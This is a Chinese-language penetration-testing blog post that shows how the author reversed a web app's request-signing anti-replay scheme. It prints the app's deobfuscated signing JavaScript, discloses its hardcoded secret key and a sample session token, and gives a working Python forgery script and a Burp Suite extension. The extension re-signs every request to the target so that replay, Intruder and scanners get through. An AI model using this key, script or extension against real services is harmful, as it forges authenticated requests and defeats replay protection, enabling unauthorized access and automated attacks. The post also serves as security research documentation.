• 介绍
  • JS代码定位
  • 编写Python测试
  • 编写Burp Suite 全自动防重放穿透(全扩展插件 / 全模块生效)
  • 首页
  • 渗透
  • 折腾
  • 转载
  • 关于Me
  • 榜上有名
  • 文章存档
  • 友情链接

不妨看看这里

会员面板

Base64 Image

分享一次基于签名验签的防重放攻击绕过案例

  • Mr.Wu
  • 2026-04-01
  • 0

介绍

目标做了签名验签,所以所有抓包到的请求都无法在二次利用

JS代码定位

经过一顿JS搜索定位,最终找到了签名构造相关的JS

    8966: function(e, a, t) {
        "use strict";
        (function(e) {
            t("6a54");
            var n = t("f5bd").default;
            Object.defineProperty(a, "__esModule", {
                value: !0
            }),
            a.default = void 0,
            t("aa9c");
            var i = n(t("2634"))
              , r = n(t("2fdc"))
              , o = n(t("80b1"))
              , s = n(t("efe5"))
              , c = n(t("6a67"))
              , u = n(t("44dd"))
              , g = n(t("7bc2"))
              , p = function() {
                function a() {
                    (0,
                    o.default)(this, a)
                }
                return (0,
                s.default)(a, [{
                    key: "create",
                    value: function() {
                        var a = (0,
                        r.default)((0,
                        i.default)().mark((function a() {
                            var t, n, r, o, s, p;
                            return (0,
                            i.default)().wrap((function(a) {
                                while (1)
                                    switch (a.prev = a.next) {
                                    case 0:
                                        return a.prev = 0,
                                        t = u.default.putoken,
                                        a.next = 4,
                                        g.default.getAppStore();
                                    case 4:
                                        for (s in n = a.sent,
                                        r = {},
                                        r["token"] = null != n.$store.state.user ? n.$store.state.user.token : "",
                                        r["deviceId"] = n.$store.state.uuid,
                                        r["deviceType"] = "ios" == n.$device.platform ? 2 : 1,
                                        r["fromApp"] = "h5",
                                        r["mobileType"] = n.$device.model + "(" + n.$device.system + ")",
                                        r["version"] = u.default.version,
                                        r["appCode"] = u.default.app_code,
                                        r["noction"] = g.default.uuidv4(),
                                        r["timestamp"] = Date.parse(new Date),
                                        o = [],
                                        r)
                                            o.push(s + "=" + r[s]);
                                        for (s in p = (0,
                                        c.default)(t + o.join(",")),
                                        r["sign"] = p,
                                        r)
                                            this.setHeader(s, r[s]);
                                        a.next = 25;
                                        break;
                                    case 22:
                                        a.prev = 22,
                                        a.t0 = a["catch"](0),
                                        e.log(a.t0);
                                    case 25:
                                    case "end":
                                        return a.stop()
                                    }
                            }
                            ), a, this, [[0, 22]])
                        }
                        )));
                        return function() {
                            return a.apply(this, arguments)
                        }
                    }()
                }]),
                a
            }()
              , l = p;
            a.default = l
        }
        ).call(this, t("ba7c")["default"])
    },

然后根据 c.default)(t + o.join(",")),和 c = n(t("6a67")) 找到签名加密主体代码

    "6a67": function(e, a, t) {
        "use strict";
        function n(e, a) {
            return e << a | e >>> 32 - a
        }
        function i(e, a) {
            var t, n, i, r, o;
            return i = 2147483648 & e,
            r = 2147483648 & a,
            t = 1073741824 & e,
            n = 1073741824 & a,
            o = (1073741823 & e) + (1073741823 & a),
            t & n ? 2147483648 ^ o ^ i ^ r : t | n ? 1073741824 & o ? 3221225472 ^ o ^ i ^ r : 1073741824 ^ o ^ i ^ r : o ^ i ^ r
        }
        function r(e, a, t, r, o, s, c) {
            return e = i(e, i(i(function(e, a, t) {
                return e & a | ~e & t
            }(a, t, r), o), c)),
            i(n(e, s), a)
        }
        function o(e, a, t, r, o, s, c) {
            return e = i(e, i(i(function(e, a, t) {
                return e & t | a & ~t
            }(a, t, r), o), c)),
            i(n(e, s), a)
        }
        function s(e, a, t, r, o, s, c) {
            return e = i(e, i(i(function(e, a, t) {
                return e ^ a ^ t
            }(a, t, r), o), c)),
            i(n(e, s), a)
        }
        function c(e, a, t, r, o, s, c) {
            return e = i(e, i(i(function(e, a, t) {
                return a ^ (e | ~t)
            }(a, t, r), o), c)),
            i(n(e, s), a)
        }
        function u(e) {
            var a, t, n = "", i = "";
            for (t = 0; t <= 3; t++)
                a = e >>> 8 * t & 255,
                i = "0" + a.toString(16),
                n += i.substr(i.length - 2, 2);
            return n
        }
        t("6a54"),
        Object.defineProperty(a, "__esModule", {
            value: !0
        }),
        a.default = void 0,
        t("c9b5"),
        t("bf0f"),
        t("ab80");
        var g = function(e) {
            var a, t, n, g, p, l, d, f, m, h = Array();
            for (e = function(e) {
                for (var a = "", t = 0; t < e.length; t++) {
                    var n = e.charCodeAt(t);
                    n < 128 ? a += String.fromCharCode(n) : n > 127 && n < 2048 ? (a += String.fromCharCode(n >> 6 | 192),
                    a += String.fromCharCode(63 & n | 128)) : (a += String.fromCharCode(n >> 12 | 224),
                    a += String.fromCharCode(n >> 6 & 63 | 128),
                    a += String.fromCharCode(63 & n | 128))
                }
                return a
            }(e),
            h = function(e) {
                var a, t = e.length, n = t + 8, i = (n - n % 64) / 64, r = 16 * (i + 1), o = Array(r - 1), s = 0, c = 0;
                while (c < t)
                    a = (c - c % 4) / 4,
                    s = c % 4 * 8,
                    o[a] = o[a] | e.charCodeAt(c) << s,
                    c++;
                return a = (c - c % 4) / 4,
                s = c % 4 * 8,
                o[a] = o[a] | 128 << s,
                o[r - 2] = t << 3,
                o[r - 1] = t >>> 29,
                o
            }(e),
            l = 1732584193,
            d = 4023233417,
            f = 2562383102,
            m = 271733878,
            a = 0; a < h.length; a += 16)
                t = l,
                n = d,
                g = f,
                p = m,
                l = r(l, d, f, m, h[a + 0], 7, 3614090360),
                m = r(m, l, d, f, h[a + 1], 12, 3905402710),
                f = r(f, m, l, d, h[a + 2], 17, 606105819),
                d = r(d, f, m, l, h[a + 3], 22, 3250441966),
                l = r(l, d, f, m, h[a + 4], 7, 4118548399),
                m = r(m, l, d, f, h[a + 5], 12, 1200080426),
                f = r(f, m, l, d, h[a + 6], 17, 2821735955),
                d = r(d, f, m, l, h[a + 7], 22, 4249261313),
                l = r(l, d, f, m, h[a + 8], 7, 1770035416),
                m = r(m, l, d, f, h[a + 9], 12, 2336552879),
                f = r(f, m, l, d, h[a + 10], 17, 4294925233),
                d = r(d, f, m, l, h[a + 11], 22, 2304563134),
                l = r(l, d, f, m, h[a + 12], 7, 1804603682),
                m = r(m, l, d, f, h[a + 13], 12, 4254626195),
                f = r(f, m, l, d, h[a + 14], 17, 2792965006),
                d = r(d, f, m, l, h[a + 15], 22, 1236535329),
                l = o(l, d, f, m, h[a + 1], 5, 4129170786),
                m = o(m, l, d, f, h[a + 6], 9, 3225465664),
                f = o(f, m, l, d, h[a + 11], 14, 643717713),
                d = o(d, f, m, l, h[a + 0], 20, 3921069994),
                l = o(l, d, f, m, h[a + 5], 5, 3593408605),
                m = o(m, l, d, f, h[a + 10], 9, 38016083),
                f = o(f, m, l, d, h[a + 15], 14, 3634488961),
                d = o(d, f, m, l, h[a + 4], 20, 3889429448),
                l = o(l, d, f, m, h[a + 9], 5, 568446438),
                m = o(m, l, d, f, h[a + 14], 9, 3275163606),
                f = o(f, m, l, d, h[a + 3], 14, 4107603335),
                d = o(d, f, m, l, h[a + 8], 20, 1163531501),
                l = o(l, d, f, m, h[a + 13], 5, 2850285829),
                m = o(m, l, d, f, h[a + 2], 9, 4243563512),
                f = o(f, m, l, d, h[a + 7], 14, 1735328473),
                d = o(d, f, m, l, h[a + 12], 20, 2368359562),
                l = s(l, d, f, m, h[a + 5], 4, 4294588738),
                m = s(m, l, d, f, h[a + 8], 11, 2272392833),
                f = s(f, m, l, d, h[a + 11], 16, 1839030562),
                d = s(d, f, m, l, h[a + 14], 23, 4259657740),
                l = s(l, d, f, m, h[a + 1], 4, 2763975236),
                m = s(m, l, d, f, h[a + 4], 11, 1272893353),
                f = s(f, m, l, d, h[a + 7], 16, 4139469664),
                d = s(d, f, m, l, h[a + 10], 23, 3200236656),
                l = s(l, d, f, m, h[a + 13], 4, 681279174),
                m = s(m, l, d, f, h[a + 0], 11, 3936430074),
                f = s(f, m, l, d, h[a + 3], 16, 3572445317),
                d = s(d, f, m, l, h[a + 6], 23, 76029189),
                l = s(l, d, f, m, h[a + 9], 4, 3654602809),
                m = s(m, l, d, f, h[a + 12], 11, 3873151461),
                f = s(f, m, l, d, h[a + 15], 16, 530742520),
                d = s(d, f, m, l, h[a + 2], 23, 3299628645),
                l = c(l, d, f, m, h[a + 0], 6, 4096336452),
                m = c(m, l, d, f, h[a + 7], 10, 1126891415),
                f = c(f, m, l, d, h[a + 14], 15, 2878612391),
                d = c(d, f, m, l, h[a + 5], 21, 4237533241),
                l = c(l, d, f, m, h[a + 12], 6, 1700485571),
                m = c(m, l, d, f, h[a + 3], 10, 2399980690),
                f = c(f, m, l, d, h[a + 10], 15, 4293915773),
                d = c(d, f, m, l, h[a + 1], 21, 2240044497),
                l = c(l, d, f, m, h[a + 8], 6, 1873313359),
                m = c(m, l, d, f, h[a + 15], 10, 4264355552),
                f = c(f, m, l, d, h[a + 6], 15, 2734768916),
                d = c(d, f, m, l, h[a + 13], 21, 1309151649),
                l = c(l, d, f, m, h[a + 4], 6, 4149444226),
                m = c(m, l, d, f, h[a + 11], 10, 3174756917),
                f = c(f, m, l, d, h[a + 2], 15, 718787259),
                d = c(d, f, m, l, h[a + 9], 21, 3951481745),
                l = i(l, t),
                d = i(d, n),
                f = i(f, g),
                m = i(m, p);
            var y = u(l) + u(d) + u(f) + u(m);
            return y.toLowerCase()
        };
        a.default = g
    },

在搜索到加密key putoken: "u$ii#uH!uF7LJkz&a4fcE50AdzHIbBAH",
至此签名构造全部理清,得到最终结论
1. 参与签名的参数(固定 9 个)

plaintext
token
deviceId
deviceType
fromApp
mobileType
version
appCode
noction
timestamp

2. 拼接格式 u$ii#uH!uF7LJkz&a4fcE50AdzHIbBAHtoken=xxx,deviceId=xxx,deviceType=xxx,...
前面直接拼接密钥,没有任何分隔符!

3. 加密
对拼接后的字符串做 MD5 加密,得到 32 位小写签名

编写Python测试

import hashlib
import uuid
import time
import requests

# ===================== 固定密钥 =====================
PUTOKEN = "u$ii#uH!uF7LJkz&a4fcE50AdzHIbBAH"

# ===================== 生成签名函数 =====================
def create_sign(params):
    """
    生成官方一致的 sign
    :param params: 参数字典
    :return: sign 签名
    """
    # 拼接成 key=value 用逗号分隔
    param_str = ",".join([f"{k}={v}" for k, v in params.items()])
    # 前面拼接固定密钥
    sign_src = PUTOKEN + param_str
    # MD5 加密(32位小写)
    sign = hashlib.md5(sign_src.encode()).hexdigest()
    return sign_src, sign

def get_headers(token=""):
    """生成完整的请求头(带签名)"""
    params = {
        "token": token,
        "deviceId": str(uuid.uuid4()),  # 随机设备ID
        "deviceType": "1",              # 2=ios 1=安卓
        "fromApp": "h5",
        "mobileType": "iPhone(iOS 16.0)",
        "version": "3.8.9",             # 版本号自己抓包
        "appCode": "1",     # 抓包获取
        "noction": str(uuid.uuid4()),   # 每次随机UUID
        "timestamp": str(int(time.time() * 1000))  # 13位时间戳
    }

    # 生成签名
    _, sign = create_sign(params)
    params["sign"] = sign

    # 组装请求头
    return params

headers = get_headers(token="YjNlN2RlM2MwODA5ZjJkMThmMWZkZjVjOTkxODFkYjE=")
url = 'https://xxx.xxx.com/api/index/merchants'
login_data = 'page=1'

# 发送请求
response = requests.post(url, headers=headers, data=login_data)
print(response.text)

执行成功得到复用

编写Burp Suite 全自动防重放穿透(全扩展插件 / 全模块生效)

# -*- coding: utf-8 -*-
from burp import IBurpExtender, IHttpListener
import hashlib
import uuid
import time
import threading

# ===================== 固定配置 =====================
PUTOKEN = "u$ii#uH!uF7LJkz&a4fcE50AdzHIbBAH"
TARGET_HOST = "xxx.xxx.com"
# ====================================================

class BurpExtender(IBurpExtender, IHttpListener):
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName("APP AutoSign")
        callbacks.registerHttpListener(self)
        print("=" * 60)
        print("[+] 自动签名插件加载成功 ✅")
        print("[+] 目标域名: %s" % TARGET_HOST)
        print("[+] 全模块支持: Repeater / Intruder / Scanner")
        print("=" * 60)
        self.lock = threading.Lock()

    # --------------------- 核心加密算法 1:1 还原 ---------------------
    def create_sign(self, params):
        keys = ["token", "deviceId", "deviceType", "fromApp", "mobileType", "version", "appCode", "noction", "timestamp"]
        items = []
        for k in keys:
            items.append(k + "=" + params[k])
        param_str = ",".join(items)
        sign_src = PUTOKEN + param_str
        m = hashlib.md5()
        m.update(sign_src.encode('utf-8'))
        return m.hexdigest()

    # --------------------- 生成标准请求头 ---------------------
    def build_auth_headers(self, old_token=""):
        params = {}
        params["token"] = old_token
        params["deviceId"] = str(uuid.uuid4()).lower()
        params["deviceType"] = "1"
        params["fromApp"] = "h5"
        params["mobileType"] = "iPhone (iOS 16.5)"
        params["version"] = "3.8.9"
        params["appCode"] = "1"
        params["noction"] = str(uuid.uuid4()).lower()
        params["timestamp"] = str(int(time.time() * 1000))
        params["sign"] = self.create_sign(params)
        return params

    # --------------------- 全局请求拦截 ---------------------
    def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
        if not messageIsRequest:
            return

        host = messageInfo.getHttpService().getHost()
        if TARGET_HOST not in host:
            return

        with self.lock:
            request = messageInfo.getRequest()
            requestInfo = self._helpers.analyzeRequest(request)
            headers = requestInfo.getHeaders()
            body = request[requestInfo.getBodyOffset():]

            old_token = ""
            clean_headers = []
            remove_keys = ["token","deviceId","deviceType","fromApp","mobileType","version","appCode","noction","timestamp","sign"]

            # 清理旧签名头
            for h in headers:
                h_low = h.lower()
                if h_low.startswith("token:"):
                    old_token = h.split(":",1)[1].strip()

                skip = False
                for key in remove_keys:
                    if h_low.startswith(key.lower() + ":"):
                        skip = True
                        break
                if not skip:
                    clean_headers.append(h)

            # 生成全新合法签名头
            new_auth = self.build_auth_headers(old_token)
            for k, v in new_auth.items():
                clean_headers.append(k + ": " + v)

            # 重新发包
            new_req = self._helpers.buildHttpMessage(clean_headers, body)
            messageInfo.setRequest(new_req)

然后burp添加脚本插件,成功实现burp重放数据以及各类插件漏洞探测

© 2026 MrWu
Theme by Wing-child
  • {{ item.name }}
  • {{ item.name }}